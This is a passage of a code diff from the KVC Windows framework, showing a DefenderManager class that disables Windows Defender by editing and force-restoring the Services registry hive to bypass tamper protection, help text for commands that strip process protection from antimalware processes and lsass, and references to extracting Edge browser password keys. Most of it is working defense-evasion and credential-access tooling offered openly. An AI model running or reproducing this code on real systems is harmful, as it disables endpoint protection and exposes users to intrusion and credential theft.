PrivilegeUtils::EnablePrivilege(SE_LOAD_DRIVER_NAME);
|
||||||
}
|
}
|
||||||
|
|
||||||
bool DefenderManager::EnablePrivilege(const wchar_t* privilege) noexcept {
|
// ============================================================================
|
||||||
HANDLE token;
|
// HELPER UTILITIES IMPLEMENTATION
|
||||||
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token)) {
|
// ============================================================================
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
TOKEN_PRIVILEGES tp;
|
|
||||||
LUID luid;
|
|
||||||
|
|
||||||
bool success = LookupPrivilegeValueW(nullptr, privilege, &luid);
|
|
||||||
if (success) {
|
|
||||||
tp.PrivilegeCount = 1;
|
|
||||||
tp.Privileges[0].Luid = luid;
|
|
||||||
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
|
||||||
|
|
||||||
success = AdjustTokenPrivileges(token, FALSE, &tp, sizeof(tp), nullptr, nullptr) &&
|
|
||||||
GetLastError() != ERROR_NOT_ALL_ASSIGNED;
|
|
||||||
}
|
|
||||||
|
|
||||||
CloseHandle(token);
|
|
||||||
return success;
|
|
||||||
}
|
|
||||||
|
|
||||||
wstring DefenderManager::GetSystemTempPath() noexcept {
|
/**
|
||||||
wchar_t path[MAX_PATH];
|
* @brief Reads REG_MULTI_SZ registry value as string vector
|
||||||
UINT result = GetWindowsDirectoryW(path, MAX_PATH);
|
*
|
||||||
if (result == 0 || result > MAX_PATH) return L"";
|
* Reading process:
|
||||||
|
* 1. Query value type and size using RegQueryValueExW (initial call)
|
||||||
return wstring(path) + L"\\temp\\";
|
* 2. Validate value is REG_MULTI_SZ type
|
||||||
}
|
* 3. Allocate buffer for value data
|
||||||
|
* 4. Read value data into buffer
|
||||||
bool DefenderManager::ValidateWriteAccess(const wstring& path) noexcept {
|
* 5. Parse null-terminated strings from buffer
|
||||||
try {
|
* 6. Return vector of strings (empty vector on failure)
|
||||||
fs::create_directories(path);
|
*
|
||||||
|
* @param key Open registry key handle with KEY_READ access
|
||||||
wstring testFile = path + L"test.tmp";
|
* @param valueName Name of REG_MULTI_SZ value to read
|
||||||
HANDLE hTest = CreateFileW(testFile.c_str(), GENERIC_WRITE, 0, nullptr,
|
* @return std::vector<std::wstring> Vector of strings, empty if value doesn't exist or wrong type
|
||||||
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr);
|
*
|
||||||
|
* @note Returns empty vector if value is wrong type or doesn't exist
|
||||||
if (hTest == INVALID_HANDLE_VALUE) return false;
|
* @note Properly handles null-terminated string array format
|
||||||
|
* @note Does not close registry key handle (caller's responsibility)
|
||||||
CloseHandle(hTest);
|
*/
|
||||||
DeleteFileW(testFile.c_str());
|
vector<wstring> DefenderManager::ReadMultiString(HKEY key, const wstring& valueName) noexcept
|
||||||
return true;
|
{
|
||||||
}
|
|
||||||
catch (...) {
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
vector<wstring> DefenderManager::ReadMultiString(HKEY key, const wstring& valueName) noexcept {
|
|
||||||
DWORD type, size;
|
DWORD type, size;
|
||||||
if (RegQueryValueExW(key, valueName.c_str(), nullptr, &type, nullptr, &size) != ERROR_SUCCESS ||
|
if (RegQueryValueExW(key, valueName.c_str(), nullptr, &type, nullptr, &size) != ERROR_SUCCESS ||
|
||||||
type != REG_MULTI_SZ) {
|
type != REG_MULTI_SZ) {
|
||||||
@@ -306,8 +388,26 @@ vector<wstring> DefenderManager::ReadMultiString(HKEY key, const wstring& valueN
|
|||||||
return result;
|
return result;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Writes string vector to REG_MULTI_SZ registry value
|
||||||
|
*
|
||||||
|
* Writing process:
|
||||||
|
* 1. Create buffer for null-terminated string array
|
||||||
|
* 2. Copy each string to buffer with null terminator
|
||||||
|
* 3. Add final double null terminator
|
||||||
|
* 4. Write buffer to registry using RegSetValueExW
|
||||||
|
*
|
||||||
|
* @param key Open registry key handle with KEY_WRITE access
|
||||||
|
* @param valueName Name of REG_MULTI_SZ value to write
|
||||||
|
* @param values Vector of strings to write
|
||||||
|
* @return bool true if write successful, false on failure
|
||||||
|
*
|
||||||
|
* @note Properly formats with double null terminator (REG_MULTI_SZ requirement)
|
||||||
|
* @note Does not close registry key handle (caller's responsibility)
|
||||||
|
*/
|
||||||
bool DefenderManager::WriteMultiString(HKEY key, const wstring& valueName,
|
bool DefenderManager::WriteMultiString(HKEY key, const wstring& valueName,
|
||||||
const vector<wstring>& values) noexcept {
|
const vector<wstring>& values) noexcept
|
||||||
|
{
|
||||||
vector<wchar_t> buffer;
|
vector<wchar_t> buffer;
|
||||||
|
|
||||||
for (const auto& str : values) {
|
for (const auto& str : values) {
|
||||||
@@ -321,8 +421,25 @@ bool DefenderManager::WriteMultiString(HKEY key, const wstring& valueName,
|
|||||||
static_cast<DWORD>(buffer.size() * sizeof(wchar_t))) == ERROR_SUCCESS;
|
static_cast<DWORD>(buffer.size() * sizeof(wchar_t))) == ERROR_SUCCESS;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Cleanup implementation
|
// ============================================================================
|
||||||
void DefenderManager::RegistryContext::Cleanup() noexcept {
|
// REGISTRY CONTEXT CLEANUP IMPLEMENTATION
|
||||||
|
// ============================================================================
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Cleans up temporary registry files and transaction logs
|
||||||
|
*
|
||||||
|
* Cleanup targets:
|
||||||
|
* 1. Main hive file (Services.hiv)
|
||||||
|
* 2. Transaction logs (Services.hiv.LOG1, Services.hiv.LOG2)
|
||||||
|
* 3. Binary log file (Services.hiv.blf)
|
||||||
|
* 4. Registry transaction files (*.regtrans-ms in temp directory)
|
||||||
|
*
|
||||||
|
* @note Safe to call multiple times (idempotent operation)
|
||||||
|
* @note Ignores errors during cleanup (best-effort cleanup)
|
||||||
|
* @note Called automatically by RegistryContext destructor
|
||||||
|
*/
|
||||||
|
void DefenderManager::RegistryContext::Cleanup() noexcept
|
||||||
|
{
|
||||||
if (hiveFile.empty()) return;
|
if (hiveFile.empty()) return;
|
||||||
|
|
||||||
// Standard cleanup patterns
|
// Standard cleanup patterns
|
||||||
|
|||||||
@@ -1,28 +1,98 @@
|
|||||||
|
/**
|
||||||
|
* @file DefenderManager.h
|
||||||
|
* @brief Windows Defender Security Engine manipulation through registry-level operations
|
||||||
|
* @author Marek Wesolowski
|
||||||
|
* @date 2025
|
||||||
|
* @copyright KVC Framework
|
||||||
|
*
|
||||||
|
* Provides registry-level manipulation of Windows Defender service dependencies
|
||||||
|
* to enable/disable the security engine, bypassing tamper protection mechanisms.
|
||||||
|
* Requires administrator privileges and system restart for changes to take effect.
|
||||||
|
*/
|
||||||
|
|
||||||
#pragma once
|
#pragma once
|
||||||
#include <windows.h>
|
#include <windows.h>
|
||||||
#include <string>
|
#include <string>
|
||||||
#include <vector>
|
#include <vector>
|
||||||
#include <memory>
|
#include <memory>
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Windows Defender Security Engine management through registry manipulation
|
||||||
|
*
|
||||||
|
* This class provides low-level control over Windows Defender by modifying
|
||||||
|
* service dependencies in the registry. Works by changing RPC service dependencies
|
||||||
|
* (RpcSs <-> RpcSt) to enable or disable the security engine.
|
||||||
|
*
|
||||||
|
* @warning Requires SE_BACKUP_NAME, SE_RESTORE_NAME, and SE_LOAD_DRIVER_NAME privileges
|
||||||
|
* @warning System restart required for changes to take effect
|
||||||
|
* @warning Bypasses Windows Defender tamper protection
|
||||||
|
*/
|
||||||
class DefenderManager {
|
class DefenderManager {
|
||||||
public:
|
public:
|
||||||
|
/**
|
||||||
|
* @brief Security engine state enumeration
|
||||||
|
*/
|
||||||
enum class SecurityState {
|
enum class SecurityState {
|
||||||
ENABLED,
|
ENABLED, ///< Windows Defender security engine is active (RpcSs dependency)
|
||||||
DISABLED,
|
DISABLED, ///< Windows Defender security engine is inactive (RpcSt dependency)
|
||||||
UNKNOWN
|
UNKNOWN ///< Unable to determine security engine state
|
||||||
};
|
};
|
||||||
|
|
||||||
// Primary interface - matches KVC command pattern
|
/**
|
||||||
|
* @brief Disables Windows Defender security engine
|
||||||
|
*
|
||||||
|
* Modifies Windows Defender service dependencies to prevent engine startup.
|
||||||
|
* Changes RpcSs (active) dependency to RpcSt (inactive stub service).
|
||||||
|
*
|
||||||
|
* @return bool true if operation successful, false on failure
|
||||||
|
*
|
||||||
|
* @note Requires administrator privileges
|
||||||
|
* @note System restart required for changes to take effect
|
||||||
|
* @warning This bypasses Windows Defender tamper protection
|
||||||
|
*/
|
||||||
static bool DisableSecurityEngine() noexcept;
|
static bool DisableSecurityEngine() noexcept;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Enables Windows Defender security engine
|
||||||
|
*
|
||||||
|
* Restores Windows Defender service dependencies to normal operation.
|
||||||
|
* Changes RpcSt (inactive) dependency back to RpcSs (active service).
|
||||||
|
*
|
||||||
|
* @return bool true if operation successful, false on failure
|
||||||
|
*
|
||||||
|
* @note Requires administrator privileges
|
||||||
|
* @note System restart required for changes to take effect
|
||||||
|
*/
|
||||||
static bool EnableSecurityEngine() noexcept;
|
static bool EnableSecurityEngine() noexcept;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Queries current Windows Defender security engine state
|
||||||
|
*
|
||||||
|
* Reads Windows Defender service dependencies from registry to determine
|
||||||
|
* if the security engine is enabled (RpcSs), disabled (RpcSt), or unknown.
|
||||||
|
*
|
||||||
|
* @return SecurityState Current state of Windows Defender security engine
|
||||||
|
*
|
||||||
|
* @note Does not require elevated privileges for read-only query
|
||||||
|
*/
|
||||||
static SecurityState GetSecurityEngineStatus() noexcept;
|
static SecurityState GetSecurityEngineStatus() noexcept;
|
||||||
|
|
||||||
private:
|
private:
|
||||||
|
/**
|
||||||
|
* @brief Registry snapshot context for atomic operations
|
||||||
|
*
|
||||||
|
* Holds temporary registry hive files and paths for atomic
|
||||||
|
* modification of Windows Defender service configuration.
|
||||||
|
*/
|
||||||
struct RegistryContext {
|
struct RegistryContext {
|
||||||
std::wstring tempPath;
|
std::wstring tempPath; ///< Temporary working directory path
|
||||||
std::wstring hiveFile;
|
std::wstring hiveFile; ///< Saved registry hive file path
|
||||||
|
|
||||||
RegistryContext() = default;
|
RegistryContext() = default;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Destructor - automatically cleans up temporary files
|
||||||
|
*/
|
||||||
~RegistryContext() { Cleanup(); }
|
~RegistryContext() { Cleanup(); }
|
||||||
|
|
||||||
// Non-copyable, movable
|
// Non-copyable, movable
|
||||||
@@ -31,31 +101,122 @@ private:
|
|||||||
RegistryContext(RegistryContext&&) = default;
|
RegistryContext(RegistryContext&&) = default;
|
||||||
RegistryContext& operator=(RegistryContext&&) = default;
|
RegistryContext& operator=(RegistryContext&&) = default;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Cleans up temporary registry files and transaction logs
|
||||||
|
*
|
||||||
|
* Removes:
|
||||||
|
* - Main hive file
|
||||||
|
* - Transaction logs (.LOG1, .LOG2)
|
||||||
|
* - Binary log files (.blf)
|
||||||
|
* - Registry transaction files (.regtrans-ms)
|
||||||
|
*
|
||||||
|
* @note Safe to call multiple times (idempotent operation)
|
||||||
|
*/
|
||||||
void Cleanup() noexcept;
|
void Cleanup() noexcept;
|
||||||
};
|
};
|
||||||
|
|
||||||
// Core engine manipulation
|
/**
|
||||||
|
* @brief Core registry manipulation logic for enable/disable operations
|
||||||
|
*
|
||||||
|
* Workflow:
|
||||||
|
* 1. Enables required privileges (SE_BACKUP_NAME, SE_RESTORE_NAME, SE_LOAD_DRIVER_NAME)
|
||||||
|
* 2. Creates registry snapshot of Services hive
|
||||||
|
* 3. Modifies Windows Defender service dependencies
|
||||||
|
* 4. Restores modified registry snapshot to live registry
|
||||||
|
*
|
||||||
|
* @param enable true to enable Defender, false to disable
|
||||||
|
* @return bool true if all operations successful, false on any failure
|
||||||
|
*
|
||||||
|
* @note Atomic operation - changes are rolled back on failure
|
||||||
|
*/
|
||||||
static bool ModifySecurityEngine(bool enable) noexcept;
|
static bool ModifySecurityEngine(bool enable) noexcept;
|
||||||
|
|
||||||
// Registry operations - critical path functions
|
/**
|
||||||
|
* @brief Enables all required privileges for registry operations
|
||||||
|
*
|
||||||
|
* Required privileges:
|
||||||
|
* - SE_BACKUP_NAME: Read registry hives
|
||||||
|
* - SE_RESTORE_NAME: Write registry hives
|
||||||
|
* - SE_LOAD_DRIVER_NAME: Load/unload registry hives
|
||||||
|
*
|
||||||
|
* @return bool true if all privileges enabled, false on any failure
|
||||||
|
*/
|
||||||
static bool EnableRequiredPrivileges() noexcept;
|
static bool EnableRequiredPrivileges() noexcept;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Creates temporary registry snapshot for atomic modifications
|
||||||
|
*
|
||||||
|
* Process:
|
||||||
|
* 1. Determines system temp path (Windows\temp)
|
||||||
|
* 2. Validates write access to temp directory
|
||||||
|
* 3. Saves Services registry hive to temporary file
|
||||||
|
* 4. Loads saved hive as HKLM\Temp for modification
|
||||||
|
*
|
||||||
|
* @param ctx [out] Registry context with temp paths and hive file location
|
||||||
|
* @return bool true if snapshot created successfully, false on failure
|
||||||
|
*
|
||||||
|
* @note Creates Services.hiv file in Windows\temp directory
|
||||||
|
*/
|
||||||
static bool CreateRegistrySnapshot(RegistryContext& ctx) noexcept;
|
static bool CreateRegistrySnapshot(RegistryContext& ctx) noexcept;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Modifies Windows Defender service dependencies in temp registry
|
||||||
|
*
|
||||||
|
* Changes RPC service dependency:
|
||||||
|
* - Enable: RpcSt (inactive) → RpcSs (active)
|
||||||
|
* - Disable: RpcSs (active) → RpcSt (inactive)
|
||||||
|
*
|
||||||
|
* @param ctx Registry context with loaded temp hive
|
||||||
|
* @param enable true to enable Defender, false to disable
|
||||||
|
* @return bool true if dependency modification successful, false on failure
|
||||||
|
*
|
||||||
|
* @note Operates on HKLM\Temp\WinDefend key, not live registry
|
||||||
|
*/
|
||||||
static bool ModifyDefenderDependencies(const RegistryContext& ctx, bool enable) noexcept;
|
static bool ModifyDefenderDependencies(const RegistryContext& ctx, bool enable) noexcept;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Restores modified registry snapshot to live system registry
|
||||||
|
*
|
||||||
|
* Process:
|
||||||
|
* 1. Unloads temporary HKLM\Temp registry hive
|
||||||
|
* 2. Restores modified hive to HKLM\SYSTEM\CurrentControlSet\Services
|
||||||
|
* 3. Commits changes to live registry
|
||||||
|
*
|
||||||
|
* @param ctx Registry context with modified hive file
|
||||||
|
* @return bool true if restore successful, false on failure
|
||||||
|
*
|
||||||
|
* @warning This operation modifies the live system registry
|
||||||
|
* @note Uses REG_FORCE_RESTORE to overwrite existing registry data
|
||||||
|
*/
|
||||||
static bool RestoreRegistrySnapshot(const RegistryContext& ctx) noexcept;
|
static bool RestoreRegistrySnapshot(const RegistryContext& ctx) noexcept;
|
||||||
|
|
||||||
// Helper utilities
|
/**
|
||||||
|
* @brief Reads REG_MULTI_SZ registry value as string vector
|
||||||
|
*
|
||||||
|
* @param key Open registry key handle
|
||||||
|
* @param valueName Name of REG_MULTI_SZ value to read
|
||||||
|
* @return std::vector<std::wstring> Vector of strings or empty on failure
|
||||||
|
*
|
||||||
|
* @note Returns empty vector if value doesn't exist or wrong type
|
||||||
|
*/
|
||||||
static std::vector<std::wstring> ReadMultiString(HKEY key, const std::wstring& valueName) noexcept;
|
static std::vector<std::wstring> ReadMultiString(HKEY key, const std::wstring& valueName) noexcept;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Writes string vector to REG_MULTI_SZ registry value
|
||||||
|
*
|
||||||
|
* @param key Open registry key handle
|
||||||
|
* @param valueName Name of REG_MULTI_SZ value to write
|
||||||
|
* @param values Vector of strings to write
|
||||||
|
* @return bool true if write successful, false on failure
|
||||||
|
*
|
||||||
|
* @note Properly formats with double null terminator
|
||||||
|
*/
|
||||||
static bool WriteMultiString(HKEY key, const std::wstring& valueName, const std::vector<std::wstring>& values) noexcept;
|
static bool WriteMultiString(HKEY key, const std::wstring& valueName, const std::vector<std::wstring>& values) noexcept;
|
||||||
static std::wstring GetSystemTempPath() noexcept;
|
|
||||||
static bool ValidateWriteAccess(const std::wstring& path) noexcept;
|
|
||||||
|
|
||||||
// Privilege management
|
// Registry constants
|
||||||
static bool EnablePrivilege(const wchar_t* privilege) noexcept;
|
static constexpr const wchar_t* WINDEFEND_KEY = L"SYSTEM\\CurrentControlSet\\Services\\WinDefend"; ///< Windows Defender service key
|
||||||
|
static constexpr const wchar_t* SERVICES_KEY = L"SYSTEM\\CurrentControlSet\\Services"; ///< Windows Services root key
|
||||||
// Constants
|
static constexpr const wchar_t* DEPEND_VALUE = L"DependOnService"; ///< Service dependency value name
|
||||||
static constexpr const wchar_t* WINDEFEND_KEY = L"SYSTEM\\CurrentControlSet\\Services\\WinDefend";
|
static constexpr const wchar_t* RPC_SERVICE_ACTIVE = L"RpcSs"; ///< Active RPC service (enables Defender)
|
||||||
static constexpr const wchar_t* SERVICES_KEY = L"SYSTEM\\CurrentControlSet\\Services";
|
static constexpr const wchar_t* RPC_SERVICE_INACTIVE = L"RpcSt"; ///< Inactive RPC stub (disables Defender)
|
||||||
static constexpr const wchar_t* DEPEND_VALUE = L"DependOnService";
|
|
||||||
static constexpr const wchar_t* RPC_SERVICE_ACTIVE = L"RpcSs";
|
|
||||||
static constexpr const wchar_t* RPC_SERVICE_INACTIVE = L"RpcSt";
|
|
||||||
};
|
};
|
||||||
@@ -1,28 +1,3 @@
|
|||||||
/*******************************************************************************
|
|
||||||
_ ____ ______
|
|
||||||
| |/ /\ \ / / ___|
|
|
||||||
| ' / \ \ / / |
|
|
||||||
| . \ \ V /| |___
|
|
||||||
|_|\_\ \_/ \____|
|
|
||||||
|
|
||||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
|
||||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
|
||||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
|
||||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
|
||||||
|
|
||||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
|
||||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
|
||||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
|
||||||
that define these protections.
|
|
||||||
|
|
||||||
-----------------------------------------------------------------------------
|
|
||||||
Author : Marek Wesołowski
|
|
||||||
Email : marek@wesolowski.eu.org
|
|
||||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
|
||||||
Date : 04-09-2025
|
|
||||||
|
|
||||||
*******************************************************************************/
|
|
||||||
|
|
||||||
// EdgeDPAPI.cpp - DPAPI decryption for Edge browser password keys
|
// EdgeDPAPI.cpp - DPAPI decryption for Edge browser password keys
|
||||||
// Implements orchestrator-side password key extraction using Windows DPAPI
|
// Implements orchestrator-side password key extraction using Windows DPAPI
|
||||||
#include "EdgeDPAPI.h"
|
#include "EdgeDPAPI.h"
|
||||||
|
|||||||
@@ -1,28 +1,3 @@
|
|||||||
/*******************************************************************************
|
|
||||||
_ ____ ______
|
|
||||||
| |/ /\ \ / / ___|
|
|
||||||
| ' / \ \ / / |
|
|
||||||
| . \ \ V /| |___
|
|
||||||
|_|\_\ \_/ \____|
|
|
||||||
|
|
||||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
|
||||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
|
||||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
|
||||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
|
||||||
|
|
||||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
|
||||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
|
||||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
|
||||||
that define these protections.
|
|
||||||
|
|
||||||
-----------------------------------------------------------------------------
|
|
||||||
Author : Marek Wesołowski
|
|
||||||
Email : marek@wesolowski.eu.org
|
|
||||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
|
||||||
Date : 04-09-2025
|
|
||||||
|
|
||||||
*******************************************************************************/
|
|
||||||
|
|
||||||
#include <windows.h>
|
#include <windows.h>
|
||||||
#include "HelpSystem.h"
|
#include "HelpSystem.h"
|
||||||
#include <iostream>
|
#include <iostream>
|
||||||
@@ -137,16 +112,16 @@ void HelpSystem::PrintProtectionCommands() noexcept
|
|||||||
PrintSectionHeader(L"Process Protection Commands");
|
PrintSectionHeader(L"Process Protection Commands");
|
||||||
PrintCommandLine(L"set <PID|process_name> <PP|PPL> <TYPE>", L"Set protection (force, ignoring current state)");
|
PrintCommandLine(L"set <PID|process_name> <PP|PPL> <TYPE>", L"Set protection (force, ignoring current state)");
|
||||||
PrintCommandLine(L"protect <PID|process_name> <PP|PPL> <TYPE>", L"Protect unprotected process");
|
PrintCommandLine(L"protect <PID|process_name> <PP|PPL> <TYPE>", L"Protect unprotected process");
|
||||||
PrintCommandLine(L"unprotect Antimalware", L"Remove protection from all Antimalware-signed processes");
|
PrintCommandLine(L"unprotect <PID|process_name|SIGNER>", L"Remove protection from process(es)");
|
||||||
PrintCommandLine(L"unprotect WinTcb", L"Remove protection from all WinTcb-signed processes");
|
|
||||||
PrintCommandLine(L"list-signer Antimalware", L"List all processes signed by Antimalware");
|
|
||||||
PrintCommandLine(L"unprotect <PID|process_name>", L"Remove protection from specific process");
|
|
||||||
PrintCommandLine(L"unprotect all", L"Remove protection from ALL processes");
|
PrintCommandLine(L"unprotect all", L"Remove protection from ALL processes");
|
||||||
PrintCommandLine(L"unprotect <PID1,PID2,PID3>", L"Remove protection from multiple processes");
|
PrintCommandLine(L"unprotect <PID1,PID2,PID3>", L"Remove protection from multiple processes");
|
||||||
PrintCommandLine(L"restore <signer_name>", L"Restore protection for specific signer group");
|
PrintCommandLine(L"set-signer <SIGNER> <PP|PPL> <NEW_SIGNER>", L"Batch modify protection for all processes of specific signer");
|
||||||
|
PrintCommandLine(L"list-signer <SIGNER>", L"List all processes with specific signer");
|
||||||
|
PrintCommandLine(L"restore <signer_name>", L"Restore protection for specific signer group");
|
||||||
PrintCommandLine(L"restore all", L"Restore all saved protection states");
|
PrintCommandLine(L"restore all", L"Restore all saved protection states");
|
||||||
PrintCommandLine(L"history", L"Show saved session history (max 16 sessions)");
|
PrintCommandLine(L"history", L"Show saved session history (max 16 sessions)");
|
||||||
PrintCommandLine(L"cleanup-sessions", L"Delete all sessions except current");
|
PrintCommandLine(L"cleanup-sessions", L"Delete all sessions except current");
|
||||||
|
PrintNote(L"SIGNER can be: Antimalware, WinTcb, Windows, Lsa, WinSystem, etc.");
|
||||||
std::wcout << L"\n";
|
std::wcout << L"\n";
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -353,6 +328,8 @@ void HelpSystem::PrintUsageExamples(std::wstring_view programName) noexcept
|
|||||||
printLine(L"kvc unprotect 1,2,3,lsass", L"Batch unprotect multiple targets");
|
printLine(L"kvc unprotect 1,2,3,lsass", L"Batch unprotect multiple targets");
|
||||||
printLine(L"kvc unprotect Antimalware", L"Remove protection from all Antimalware processes");
|
printLine(L"kvc unprotect Antimalware", L"Remove protection from all Antimalware processes");
|
||||||
printLine(L"kvc unprotect all", L"Remove protection from ALL processes (grouped by signer)");
|
printLine(L"kvc unprotect all", L"Remove protection from ALL processes (grouped by signer)");
|
||||||
|
printLine(L"kvc set-signer Antimalware PPL WinTcb", L"Change all Antimalware processes to PPL-WinTcb");
|
||||||
|
printLine(L"kvc set-signer Windows PP Antimalware", L"Escalate all Windows processes to PP-Antimalware");
|
||||||
|
|
||||||
// Session state management
|
// Session state management
|
||||||
printLine(L"kvc history", L"Show saved sessions (max 16, with status tracking)");
|
printLine(L"kvc history", L"Show saved sessions (max 16, with status tracking)");
|
||||||
|
|||||||
@@ -1,28 +1,3 @@
|
|||||||
/*******************************************************************************
|
|
||||||
_ ____ ______
|
|
||||||
| |/ /\ \ / / ___|
|
|
||||||
| ' / \ \ / / |
|
|
||||||
| . \ \ V /| |___
|
|
||||||
|_|\_\ \_/ \____|
|
|
||||||
|
|
||||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
|
||||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
|
||||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
|
||||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
|
||||||
|
|
||||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
|
||||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
|
||||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
|
||||||
that define these protections.
|
|
||||||
|
|
||||||
-----------------------------------------------------------------------------
|
|
||||||
Author : Marek Wesołowski
|
|
||||||
Email : marek@wesolowski.eu.org
|
|
||||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
|
||||||
Date : 04-09-2025
|
|
||||||
|
|
||||||
*******************************************************************************/
|
|
||||||
|
|
||||||
// HiveManager.cpp
|
// HiveManager.cpp
|
||||||
#include "HiveManager.h"
|
#include "HiveManager.h"
|
||||||
#include "common.h"
|
#include "common.h"
|
||||||
@@ -168,30 +143,17 @@ void HiveManager::ResetStats()
|
|||||||
m_lastStats = BackupStats{};
|
m_lastStats = BackupStats{};
|
||||||
}
|
}
|
||||||
|
|
||||||
std::wstring HiveManager::GetTimestamp()
|
|
||||||
{
|
|
||||||
auto now = std::chrono::system_clock::now();
|
|
||||||
auto time = std::chrono::system_clock::to_time_t(now);
|
|
||||||
|
|
||||||
std::tm tm;
|
|
||||||
localtime_s(&tm, &time);
|
|
||||||
|
|
||||||
std::wstringstream ss;
|
|
||||||
ss << std::put_time(&tm, L"%Y.%m.%d_%H.%M.%S");
|
|
||||||
return ss.str();
|
|
||||||
}
|
|
||||||
|
|
||||||
fs::path HiveManager::GenerateDefaultBackupPath()
|
fs::path HiveManager::GenerateDefaultBackupPath()
|
||||||
{
|
{
|
||||||
wchar_t downloadsPath[MAX_PATH];
|
wchar_t downloadsPath[MAX_PATH];
|
||||||
if (SUCCEEDED(SHGetFolderPathW(nullptr, CSIDL_PROFILE, nullptr, 0, downloadsPath))) {
|
if (SUCCEEDED(SHGetFolderPathW(nullptr, CSIDL_PROFILE, nullptr, 0, downloadsPath))) {
|
||||||
fs::path basePath = fs::path(downloadsPath) / L"Downloads";
|
fs::path basePath = fs::path(downloadsPath) / L"Downloads";
|
||||||
std::wstring folderName = L"Registry_Backup_" + GetTimestamp();
|
std::wstring folderName = L"Registry_Backup_" + TimeUtils::GetFormattedTimestamp("datetime_file");
|
||||||
return basePath / folderName;
|
return basePath / folderName;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Fallback to temp if Downloads not found
|
// Fallback to temp if Downloads not found
|
||||||
return fs::temp_directory_path() / (L"Registry_Backup_" + GetTimestamp());
|
return fs::temp_directory_path() / (L"Registry_Backup_" + TimeUtils::GetFormattedTimestamp("datetime_file"));
|
||||||
}
|
}
|
||||||
|
|
||||||
bool HiveManager::ValidateBackupDirectory(const fs::path& path)
|
bool HiveManager::ValidateBackupDirectory(const fs::path& path)
|
||||||
@@ -652,7 +614,7 @@ bool HiveManager::Defrag(const std::wstring& tempPath)
|
|||||||
// Generate temp backup path BEFORE any elevation (to get real user temp)
|
// Generate temp backup path BEFORE any elevation (to get real user temp)
|
||||||
fs::path defragPath;
|
fs::path defragPath;
|
||||||
if (tempPath.empty()) {
|
if (tempPath.empty()) {
|
||||||
defragPath = fs::temp_directory_path() / (L"Registry_Defrag_" + GetTimestamp());
|
defragPath = fs::temp_directory_path() / (L"Registry_Defrag_" + TimeUtils::GetFormattedTimestamp("datetime_file"));
|
||||||
}
|
}
|
||||||
else {
|
else {
|
||||||
defragPath = tempPath;
|
defragPath = tempPath;
|
||||||
|
|||||||
@@ -51,7 +51,6 @@ private:
|
|||||||
bool PromptYesNo(const wchar_t* question);
|
bool PromptYesNo(const wchar_t* question);
|
||||||
|
|
||||||
fs::path GenerateDefaultBackupPath();
|
fs::path GenerateDefaultBackupPath();
|
||||||
std::wstring GetTimestamp();
|
|
||||||
std::wstring GetCurrentUserSid();
|
std::wstring GetCurrentUserSid();
|
||||||
std::wstring GetCurrentUsername();
|
std::wstring GetCurrentUsername();
|
||||||
fs::path GetHivePhysicalPath(const std::wstring& hiveName);
|
fs::path GetHivePhysicalPath(const std::wstring& hiveName);
|
||||||
|
|||||||
@@ -1,28 +1,3 @@
|
|||||||
/*******************************************************************************
|
|
||||||
_ ____ ______
|
|
||||||
| |/ /\ \ / / ___|
|
|
||||||
| ' / \ \ / / |
|
|
||||||
| . \ \ V /| |___
|
|
||||||
|_|\_\ \_/ \____|
|
|
||||||
|
|
||||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
|
||||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
|
||||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
|
||||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
|
